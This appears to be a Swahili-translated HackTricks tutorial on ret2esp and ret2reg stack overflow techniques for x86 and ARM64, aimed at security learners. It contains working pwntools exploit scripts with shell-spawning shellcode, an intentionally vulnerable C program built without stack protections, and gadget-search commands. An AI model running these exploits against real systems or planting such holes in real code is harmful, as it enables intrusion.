Ret2esp / Ret2reg
Reading time: 7 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Ret2esp
Kwa sababu ESP (Stack Pointer) kila wakati inaelekeza juu ya stack, mbinu hii inahusisha kubadilisha EIP (Instruction Pointer) na anwani ya jmp esp
au call esp
amri. Kwa kufanya hivyo, shellcode inawekwa moja kwa moja baada ya EIP iliyobadilishwa. Wakati amri ya ret
inatekelezwa, ESP inaelekeza kwenye anwani inayofuata, hasa mahali ambapo shellcode imehifadhiwa.
Ikiwa Address Space Layout Randomization (ASLR) haijawashwa katika Windows au Linux, inawezekana kutumia amri za jmp esp
au call esp
zinazopatikana katika maktaba za pamoja. Hata hivyo, ikiwa ASLR inafanya kazi, mtu anaweza kuhitaji kutafuta ndani ya programu iliyo hatarini kwa ajili ya amri hizi (na unaweza kuhitaji kushinda PIE).
Zaidi ya hayo, kuwa na uwezo wa kuweka shellcode baada ya uharibifu wa EIP, badala ya katikati ya stack, inahakikisha kwamba amri yoyote ya push
au pop
inayotekelezwa wakati wa operesheni ya kazi haziingiliani na shellcode. Kuingilia huku kunaweza kutokea ikiwa shellcode ingewekwa katikati ya stack ya kazi.
Kukosa nafasi
Ikiwa unakosa nafasi ya kuandika baada ya kubadilisha RIP (labda ni byte chache tu), andika shellcode ya awali ya jmp
kama:
sub rsp, 0x30
jmp rsp
Na uandike shellcode mapema kwenye stack.
Mfano
Unaweza kupata mfano wa mbinu hii katika https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp ukiwa na exploit ya mwisho kama:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')
pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
Unaweza kuona mfano mwingine wa mbinu hii katika https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html. Kuna overflow ya buffer bila NX imewezeshwa, inatumika gadget ili kupunguza anwani ya $esp
na kisha jmp esp;
kuruka kwenye shellcode:
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')
# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# Establish our rop gadgets
# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)
# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)
# Make the payload
payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget
# Send our payload
target.sendline(payload)
# Drop to an interactive shell
target.interactive()
Ret2reg
Vivyo hivyo, ikiwa tunajua kazi inarudisha anwani ambapo shellcode imehifadhiwa, tunaweza kutumia maagizo ya call eax
au jmp eax
(yanayojulikana kama mbinu ya ret2eax), kutoa njia nyingine ya kutekeleza shellcode yetu. Kama vile eax, usajili mwingine wowote unaoshikilia anwani ya kuvutia unaweza kutumika (ret2reg).
Mfano
Unaweza kupata mifano hapa:
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg
- https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c
strcpy
itahifadhi katikaeax
anwani ya buffer ambapo shellcode ilihifadhiwa naeax
haijapangwa upya, hivyo inawezekana kutumiaret2eax
.
ARM64
Ret2sp
Katika ARM64 hakuna maagizo yanayoruhusu kuruka kwenye usajili wa SP. Inaweza kuwa inawezekana kupata gadget inayofanya kuhamasisha sp kwenye usajili kisha kuruka kwenye usajili huo, lakini katika libc ya kali yangu sikuweza kupata gadget kama hiyo:
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done
Niliyogundua pekee ingekuwa kubadilisha thamani ya registry ambapo sp ilikopiwa kabla ya kuruka kwake (hivyo ingekuwa isiyo na maana):
Ret2reg
Ikiwa registry ina anwani ya kuvutia inawezekana kuruka kwake kwa kutafuta maagizo sahihi. Unaweza kutumia kitu kama:
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
Katika ARM64, ni x0
ambaye huhifadhi thamani ya kurudi ya kazi, hivyo inaweza kuwa kwamba x0 huhifadhi anwani ya buffer inayodhibitiwa na mtumiaji yenye shellcode ya kutekeleza.
Mfano wa msimbo:
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
#include <stdio.h>
#include <string.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}
char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}
int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}
Kuangalia disassembly ya kazi inawezekana kuona kwamba anwani ya buffer (iliyohatarishwa na bof na inayodhibitiwa na mtumiaji) imehifadhiwa katika x0
kabla ya kurudi kutoka kwa buffer overflow:
Pia inawezekana kupata gadget br x0
katika kazi ya do_stuff
:
Tutatumia gadget hiyo kuruka kwake kwa sababu binary imeandikwa BILA PIE. Kwa kutumia muundo inawezekana kuona kwamba offset ya buffer overflow ni 80, hivyo exploit itakuwa:
from pwn import *
p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')
stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
p.sendline(payload)
p.interactive()
warning
Ikiwa badala ya fgets
ingetumika kitu kama read
, ingekuwa inawezekana kupita PIE pia kwa kuandika tena tu byte 2 za mwisho za anwani ya kurudi ili kurudi kwenye amri ya br x0;
bila kuhitaji kujua anwani kamili.
Kwa fgets
haiwezekani kwa sababu in ongeza byte ya null (0x00) mwishoni.
Ulinzi
- NX: Ikiwa stack haiwezi kutekelezwa hii haitasaidia kwani tunahitaji kuweka shellcode kwenye stack na kuruka ili kuitekeleza.
- ASLR & PIE: Hizi zinaweza kufanya iwe vigumu kupata amri ya kuruka kwa esp au register nyingine yoyote.
Marejeleo
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.